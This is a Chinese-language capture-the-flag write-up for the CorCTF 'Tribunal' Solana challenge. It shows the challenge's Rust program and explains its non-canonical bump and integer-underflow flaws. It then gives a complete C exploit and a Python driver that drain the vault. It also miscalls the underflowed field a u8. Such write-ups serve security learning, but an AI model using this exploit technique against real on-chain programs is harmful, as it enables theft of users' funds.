CorCTF Tribunal
Source
Server端:
let program_id = builder.add_program("./tribunal.so", None);
let solve_id = builder.input_program()?;
let mut chall = builder.build().await;
// get access to funds from ctf framework
let payer_keypair = &chall.ctx.payer;
let payer = payer_keypair.pubkey();
// create admin user
let admin_keypair = Keypair::new();
let admin = admin_keypair.pubkey();
// fund admin user
chall
.run_ix(system_instruction::transfer(
&payer,
&admin,
100_000_000_000, // 100 sol
))
.await?;
// create user
let user_keypair = Keypair::new();
let user = user_keypair.pubkey();
// fund user
chall
.run_ix(system_instruction::transfer(&payer, &user, 1_000_000_000)) // 1 sol
.await?;
writeln!(socket, "\nsome information for you:")?;
writeln!(socket, "program: {}", program_id)?;
writeln!(socket, "user: {}", user)?;
let (config_addr, config_bump) =
Pubkey::find_program_address(&["CONFIG".as_bytes()], &program_id);
let (vault_addr, vault_bump) = Pubkey::find_program_address(&["VAULT".as_bytes()], &program_id);
// start the tribunal
let mut ixs = vec![Instruction::new_with_borsh(
program_id,
&TribunalInstruction::Initialize {
config_bump,
vault_bump,
},
vec![
AccountMeta::new(admin, true),
AccountMeta::new(config_addr, false),
AccountMeta::new(vault_addr, false),
AccountMeta::new_readonly(system_program::id(), false),
],
)];
// create the five proposals
for i in 1..=5_u8 {
let (addr, bump) =
Pubkey::find_program_address(&["PROPOSAL".as_bytes(), &i.to_be_bytes()], &program_id);
ixs.push(Instruction::new_with_borsh(
program_id,
&TribunalInstruction::Propose {
proposal_id: i,
proposal_bump: bump,
},
vec![
AccountMeta::new(admin, true),
AccountMeta::new(config_addr, false),
AccountMeta::new(addr, false),
AccountMeta::new_readonly(system_program::id(), false),
],
));
}
// personally, down with fizz and the web union will rise!!
let (p4_addr, _) =
Pubkey::find_program_address(&["PROPOSAL".as_bytes(), &4_u8.to_be_bytes()], &program_id);
ixs.push(Instruction::new_with_borsh(
program_id,
&TribunalInstruction::Vote {
proposal_id: 4,
amount: 99_000_000_000, // 99 sol
},
vec![
AccountMeta::new(admin, true),
AccountMeta::new(config_addr, false),
AccountMeta::new(vault_addr, false),
AccountMeta::new(p4_addr, false),
AccountMeta::new_readonly(system_program::id(), false),
],
));
// run setup instructions
chall
.run_ixs_full(&ixs, &[&admin_keypair], &admin_keypair.pubkey())
.await?;
let solve_ix = chall.read_instruction(solve_id)?;
chall
.run_ixs_full(&[solve_ix], &[&user_keypair], &user_keypair.pubkey())
.await?;
if let Some(account) = chall.ctx.banks_client.get_account(user).await? {
writeln!(socket, "lamports after exploit: {:?}", account.lamports)?;
// 90 sol
if acocunt.lamports > 90_000_000_000 {
writeln!(socket, "you'll be the focus of the next tribunal...")?;
writeln!(
socket,
"flag: {}",
env::var("FLAG").unwrap_or_else(|_| "corctf{test_flag}".to_string())
)?;
}
} else {
writeln!(socket, "there was an error reading the user's balance")?;
}
功能实现的较为简洁。创建了一个admin账户后利用payer向他转100sol.之后利用payer给我们的user转了1sol .利用Pubkeyfind寻找了一个CONFIG种子的地址,当作CONFIG账户地址。同理寻找一个Vault地址。最后利用Initialize功能进行初始化。
而后创建了1-5 编号的提案。利用admin向4号提案投票。 最后允许challenge执行程序目标是将user用户的余额增长至90sol。
合约代码:
fn initialize(
program: &Pubkey,
accounts: &[AccountInfo],
config_bump: u8,
vault_bump: u8,
) -> ProgramResult {
let account_iter = &mut accounts.iter();
let user = next_account_info(account_iter)?;
let config = next_account_info(account_iter)?;
let vault = next_account_info(account_iter)?;
// ensure that the user signed this
if !user.is_signer {
return Err(ProgramError::MissingRequiredSignature);
}
// get config and vault
let Ok(config_addr) = Pubkey::create_program_address(&[b"CONFIG", &[config_bump]], &program) else {
return Err(ProgramError::InvalidSeeds);
};
let Ok(vault_addr) = Pubkey::create_program_address(&[b"VAULT", &[vault_bump]], &program) else {
return Err(ProgramError::InvalidSeeds);
};
// assert that the config passed in is at the right address
if *config.key != config_addr {
return Err(ProgramError::InvalidAccountData);
}
// ensure that the config passed in is empty (we only want to initialize once)
if !config.data_is_empty() {
return Err(ProgramError::AccountAlreadyInitialized);
}
// create config
invoke_signed(
&system_instruction::create_account(
&user.key,
&config_addr,
Rent::minimum_balance(&Rent::default(), CONFIG_SIZE),
CONFIG_SIZE as u64,
&program,
),
&[user.clone(), config.clone()],
&[&[b"CONFIG", &[config_bump]]],
)?;
// save config data
let config_data = Config {
discriminator: Types::Config,
admin: *user.key,
total_balance: 0,
};
config_data
.serialize(&mut &mut (*config.data).borrow_mut()[..])
.unwrap();
// create vault
invoke_signed(
&system_instruction::create_account(
&user.key,
&vault_addr,
Rent::minimum_balance(&Rent::default(), VAULT_SIZE),
VAULT_SIZE as u64,
&program,
),
&[user.clone(), vault.clone()],
&[&[b"VAULT", &[vault_bump]]],
)?;
// save vault data
let vault_data = Vault {
discriminator: Types::Vault,
};
vault_data
.serialize(&mut &mut (*vault.data).borrow_mut()[..])
.unwrap();
Ok(())
}
// create a proposal, only allowed by admin (since we don't want dumb proposals)
fn propose(
program: &Pubkey,
accounts: &[AccountInfo],
proposal_id: u8,
proposal_bump: u8,
) -> ProgramResult {
let account_iter = &mut accounts.iter();
let user = next_account_info(account_iter)?;
let config = next_account_info(account_iter)?;
let proposal = next_account_info(account_iter)?;
// ensure that the user signed this
if !user.is_signer {
return Err(ProgramError::MissingRequiredSignature);
}
// require that the config is valid
if config.owner != program {
return Err(ProgramError::InvalidAccountData);
}
// retrieve config data
let config_data = &mut Config::deserialize(&mut &(*config.data).borrow_mut()[..])?;
if config_data.discriminator != Types::Config {
return Err(ProgramError::InvalidAccountData);
}
// require that the user is an admin
if *user.key != config_data.admin {
return Err(ProgramError::IllegalOwner);
}
let Ok(proposal_addr) = Pubkey::create_program_address(&[b"PROPOSAL", &proposal_id.to_be_bytes(), &[proposal_bump]], &program) else {
return Err(ProgramError::InvalidSeeds);
};
// require that the proposal passed in is at the right address
if *proposal.key != proposal_addr {
return Err(ProgramError::InvalidAccountData);
}
// ensure that the proposal isn't initialized yet
if !proposal.data_is_empty() {
return Err(ProgramError::AccountAlreadyInitialized);
}
// create proposal
invoke_signed(
&system_instruction::create_account(
&user.key,
&proposal_addr,
Rent::minimum_balance(&Rent::default(), PROPOSAL_SIZE),
PROPOSAL_SIZE as u64,
&program,
),
&[user.clone(), proposal.clone()],
&[&[
"PROPOSAL".as_bytes(),
&proposal_id.to_be_bytes(),
&[proposal_bump],
]],
)?;
// save proposal data
let proposal_data = Proposal {
discriminator: Types::Proposal,
creator: *user.key,
balance: 0,
proposal_id,
};
proposal_data
.serialize(&mut &mut (*proposal.data).borrow_mut()[..])
.unwrap();
Ok(())
}
fn vote(
program: &Pubkey,
accounts: &[AccountInfo],
proposal_id: u8,
lamports: u64,
) -> ProgramResult {
let account_iter = &mut accounts.iter();
let user = next_account_info(account_iter)?;
let config = next_account_info(account_iter)?;
let vault = next_account_info(account_iter)?;
let proposal = next_account_info(account_iter)?;
// ensure that the user signed this
if !user.is_signer {
return Err(ProgramError::MissingRequiredSignature);
}
// positive amount
if lamports <= 0 {
return Err(ProgramError::InvalidArgument);
}
// require that the config is correct
if config.owner != program {
return Err(ProgramError::InvalidAccountData);
}
let config_data = &mut Config::deserialize(&mut &(*config.data).borrow_mut()[..])?;
if config_data.discriminator != Types::Config {
return Err(ProgramError::InvalidAccountData);
}
// require that the vault is correct
if vault.owner != program {
return Err(ProgramError::InvalidAccountData);
}
let vault_data = &mut Vault::deserialize(&mut &(*vault.data).borrow_mut()[..])?;
if vault_data.discriminator != Types::Vault {
return Err(ProgramError::InvalidAccountData);
}
// ensure the proposal is valid
if proposal.owner != program {
return Err(ProgramError::InvalidAccountData);
}
let proposal_data = &mut Proposal::deserialize(&mut &(*proposal.data).borrow_mut()[..])?;
if proposal_data.discriminator != Types::Proposal {
return Err(ProgramError::InvalidAccountData);
}
// check that proposal is at the correct address
let (proposal_addr, _) = Pubkey::find_program_address(
&["PROPOSAL".as_bytes(), &proposal_id.to_be_bytes()],
&program,
);
if *proposal.key != proposal_addr {
return Err(ProgramError::InvalidAccountData);
}
// transfer money to vault
invoke(
&system_instruction::transfer(&user.key, &vault.key, lamports.into()),
&[user.clone(), vault.clone()],
)?;
// update the proposal balance
proposal_data.balance = proposal_data.balance.checked_add(lamports).unwrap();
proposal_data
.serialize(&mut &mut (*proposal.data).borrow_mut()[..])
.unwrap();
// update the config total balance
config_data.total_balance = config_data.total_balance.checked_add(lamports).unwrap() - 100; // keep some for rent
config_data
.serialize(&mut &mut (*config.data).borrow_mut()[..])
.unwrap();
Ok(())
}
fn withdraw(program: &Pubkey, accounts: &[AccountInfo], lamports: u64) -> ProgramResult {
let account_iter = &mut accounts.iter();
let user = next_account_info(account_iter)?;
let config = next_account_info(account_iter)?;
let vault = next_account_info(account_iter)?;
// ensure that the user signed this
if !user.is_signer {
return Err(ProgramError::MissingRequiredSignature);
}
// positive amount
if lamports <= 0 {
return Err(ProgramError::InvalidArgument);
}
// require that the config is correct
if config.owner != program {
return Err(ProgramError::InvalidAccountData);
}
let config_data = &mut Config::deserialize(&mut &(*config.data).borrow_mut()[..])?;
if config_data.discriminator != Types::Config {
return Err(ProgramError::InvalidAccountData);
}
// check that the config has enough balance
if config_data.total_balance < lamports {
return Err(ProgramError::InsufficientFunds);
}
// require that the user is an admin
if *user.key != config_data.admin {
return Err(ProgramError::IllegalOwner);
}
// require that the vault is correct
if vault.owner != program {
return Err(ProgramError::InvalidAccountData);
}
let vault_data = &mut Vault::deserialize(&mut &(*vault.data).borrow_mut()[..])?;
if vault_data.discriminator != Types::Vault {
return Err(ProgramError::InvalidAccountData);
}
// withdraw safely
let mut vault_lamports = vault.lamports.borrow_mut();
**vault_lamports = (**vault_lamports).checked_sub(lamports).unwrap();
let mut user_lamports = user.lamports.borrow_mut();
**user_lamports = (**user_lamports).checked_add(lamports).unwrap();
Ok(())
}
可以看到 每个函数都进行了非常严谨的账户签名、类型检查。但是唯独有一点,在Withdraw的时候并没有验证Vault强对应的用户是谁。那我们可以考虑利用user用户直接转账,但其中有一个config账户进行了如下的check.
if *user.key != config_data.admin {
return Err(ProgramError::IllegalOwner);
}
但是他并没有限制非admin用户不能调用Initialize。虽然需要利用特殊种子去寻找账户,但是地址却不唯一。只需要更换bump即可。
获得config之后还需要注意
if config_data.total_balance < lamports {
return Err(ProgramError::InsufficientFunds);
}
也就是我们伪造的当前config数据里面的balance要小于lamports提现的金额。
那么可以发现vote中:
config_data.total_balance = config_data.total_balance.checked_add(lamports).unwrap() - 100; // keep some for rent
这里的-100没有用程序中经常使用的check_sub进行 那么就会发生下溢。其为u8类型 会变为一个较大值。
所以vote一个较小的值即可。
exp
本题的exp来自Ainevsia@0ops师傅。 鸣谢。
我个人觉得C++ 写的好像确实要比 rust好理解点=-=(x
#include <solana_sdk.h>
#define CORCTF_USER 0
#define CORCTF_CONFIG 1
#define CORCTF_VAULT 2
#define CORCTF_TARGET 3
#define CORCTF_FVAULT 4
#define CORCTF_PROPOSE 5
#define CORCTF_SYSTEM 6
#define CORCTF_TOTAL_ACC 7 //指向账户数量
#define CORCTF_CONFIG_BUMPSEED 0
#define CORCTF_VAULT_BUMPSEED 1
#define CORCTF_PROPOSE_BUMPSEED 2
// 以上部分创建输入参数并进行对应。
uint64_t init(SolParameters *params)
{
sol_log("[+] About to init !");
SolAccountMeta meta[] = {
{.pubkey = params->ka[CORCTF_USER].key, .is_writable = true, .is_signer = true},
{.pubkey = params->ka[CORCTF_CONFIG].key, .is_writable = true, .is_signer = false},
{.pubkey = params->ka[CORCTF_FVAULT].key, .is_writable = true, .is_signer = false},
{.pubkey = params->ka[CORCTF_SYSTEM].key, .is_writable = false, .is_signer = false},
};
//每一个账户需要设置他的状态 可写以及签名。
uint8_t buf[1 + 2] = {0};
buf[0] = 0;
buf[1] = params->data[CORCTF_CONFIG_BUMPSEED];
buf[2] = params->data[CORCTF_VAULT_BUMPSEED];
const SolInstruction instruction = {params->ka[CORCTF_TARGET].key,
meta, SOL_ARRAY_SIZE(meta),
buf, SOL_ARRAY_SIZE(buf)};
sol_invoke(&instruction, params->ka, params->ka_num);
sol_log("[+] finished init !");
return SUCCESS;
}
uint64_t vote(SolParameters *params)
{
sol_log("[+] About to vote !");
SolAccountMeta meta[] = {
{.pubkey = params->ka[CORCTF_USER].key, .is_writable = true, .is_signer = true},
{.pubkey = params->ka[CORCTF_CONFIG].key, .is_writable = true, .is_signer = false},
{.pubkey = params->ka[CORCTF_FVAULT].key, .is_writable = true, .is_signer = false},
{.pubkey = params->ka[CORCTF_PROPOSE].key, .is_writable = true, .is_signer = false},
{.pubkey = params->ka[CORCTF_SYSTEM].key, .is_writable = false, .is_signer = false},
};
uint8_t buf[1 + 1 + 8] = {0};
buf[0] = 2;
buf[1] = 1;
uint64_t *p = (uint64_t *)((uint8_t *)buf + 2);
*p = 1;
const SolInstruction instruction = {params->ka[CORCTF_TARGET].key,
meta, SOL_ARRAY_SIZE(meta),
buf, SOL_ARRAY_SIZE(buf)};
sol_invoke(&instruction, params->ka, params->ka_num);
sol_log("[+] finished vote !");
return SUCCESS;
}
uint64_t withdraw(SolParameters *params)
{
sol_log("[+] About to withdraw !");
SolAccountMeta meta[] = {
{.pubkey = params->ka[CORCTF_USER].key, .is_writable = true, .is_signer = true},
{.pubkey = params->ka[CORCTF_CONFIG].key, .is_writable = true, .is_signer = false},
{.pubkey = params->ka[CORCTF_VAULT].key, .is_writable = true, .is_signer = false},
};
uint8_t buf[1 + 8] = {0};
buf[0] = 3; // TribunalInstruction::Withdraw{amount: 99000000000 - 100}; 0x170cdc1d9c // buf[0]为调用的方法,需要看rust中的enum.
uint64_t *p = (uint64_t *)((uint8_t *)buf + 1);
*p = 0x170cdc1d9c;
//这个指针指向的是buf[0] 后的八字节。将其设置为一个uint64.赋值为99sol
const SolInstruction instruction = {params->ka[CORCTF_TARGET].key,
meta, SOL_ARRAY_SIZE(meta),
buf, SOL_ARRAY_SIZE(buf)};
sol_invoke(&instruction, params->ka, params->ka_num);
sol_log("[+] finished withdraw !");
return SUCCESS;
}
uint64_t hacker(SolParameters *params)
{
sol_assert(params->ka_num == CORCTF_TOTAL_ACC);
sol_log("[+] Hacker 1");
init(params);
sol_log("[+] Hacker 2");
vote(params);
sol_log("[+] Hacker 3");
withdraw(params);
sol_log("[+] Hacker 4");
return SUCCESS;
}
extern uint64_t entrypoint(const uint8_t *input)
{
sol_log("[+] Hacker start");
SolAccountInfo accounts[CORCTF_TOTAL_ACC];
SolParameters params = (SolParameters){.ka = accounts};
if (!sol_deserialize(input, ¶ms, SOL_ARRAY_SIZE(accounts)))
{
return ERROR_INVALID_ARGUMENT;
}
return hacker(¶ms);
}
exploit.py
config_pubkey_canonical, config_pubkey_canonical_bump_seed = pda(program_pubkey,b'CONFIG')
config_pubkey_none_canonical, config_pubkey_none_canonical_bump_seed = pda_none_canonical_bump_seed(program_pubkey,b'CONFIG',config_pubkey_canonical_bump_seed)
vault_pubkey_canonical, vault_pubkey_canonical_bump_seed = pda(program_pubkey,b'VAULT')
vault_pubkey_none_canonical, vault_pubkey_none_canonical_bump_seed = pda_none_canonical_bump_seed(program_pubkey,b'VAULT',vault_pubkey_canonical_bump_seed)
proposal_pubkey, proposal_pubkey_canonical_bump_seed = pda(program_pubkey,b'PROPOSAL\x01')
# metas
accs = [
f"ws {user_pubkey}",
f"w {config_pubkey_none_canonical}",
f"w {vault_pubkey_canonical}",
f"w {program_pubkey}",
f"w {vault_pubkey_none_canonical}",
f"w {proposal_pubkey}",
f"r 11111111111111111111111111111111"
]
io.sendlineafter("num accounts: \n", str(len(accs)).encode())
for acc in accs:
io.sendline(acc.encode())
# ix
buf = p8(config_pubkey_none_canonical_bump_seed)
buf += p8(vault_pubkey_none_canonical_bump_seed)
io.sendlineafter('len:',str(len(buf)).encode())
io.send(buf)
print(io.recvall())